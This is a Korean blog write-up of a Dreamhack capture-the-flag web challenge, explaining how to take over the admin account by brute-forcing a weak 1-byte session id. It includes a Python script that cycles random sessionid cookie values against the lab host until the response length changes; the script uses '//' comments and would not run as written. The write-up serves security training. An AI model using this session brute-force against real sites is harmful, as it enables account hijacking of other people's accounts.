728x90
admin 으로 로그인만 하면 되는 문제인거 같다.
여기서 다른 계정으로 로그인을 해서 admin의 세션을 사용해 로그인을 하는거 같다.
guest 계정으로 로그인을 먼저 해야하는거 같다.
sessionid를 변경하는거 같은데 admin의 sessionid를 확인하는게 이번 문제의 핵심인거같다.
**문제를 풀다 보니 sessionid가 아닌 grafana_session를 확인해야한다.
소스코드를 보면 admin이라는 계정의 sessionid를 session_storage에 1byte의 해시값으로 저장을 미리 해놓는거 같다.
1byte의 해시값으로 무작위 (Brute-force) 공격을 해서 로그인할 수 있을것같다.
툴을 사용해 Brute-force 공격을 시도해보자
해당 admin에 대한 session 값을 확인할 수 있다.
**Tip
파이썬으로 페이로드로 짜면 더 빠르게 찾을 수 있다.
import requests
import os
url ='http://host3.dreamhack.games:20668/' //해당 URL 지정
while True:
i = os.urandom(1).hex() // 랜덤으로 hex값을 대입
cookie = {'sessionid' : i } // sessionid 파라미터에 대한 값 변경
response = requests.get(url, cookies=cookie)
if 1262 != len(response.content): //응답 길이 확인하여, 지정해주기
print(i)
break
'모의해킹 > Dreamhack' 카테고리의 다른 글
blind sql injection advanced [WEB LEVEL1] (0) | 2023.04.14 |
---|---|
XSS Filtering Bypass [WEB LEVEL1] (0) | 2023.04.13 |
web-misconf-1 [WEB LEVEL1] (0) | 2023.04.12 |
blind-command [WEB LEVEL1] (0) | 2023.04.10 |
simple-ssti [WEB LEVEL1] (0) | 2023.04.06 |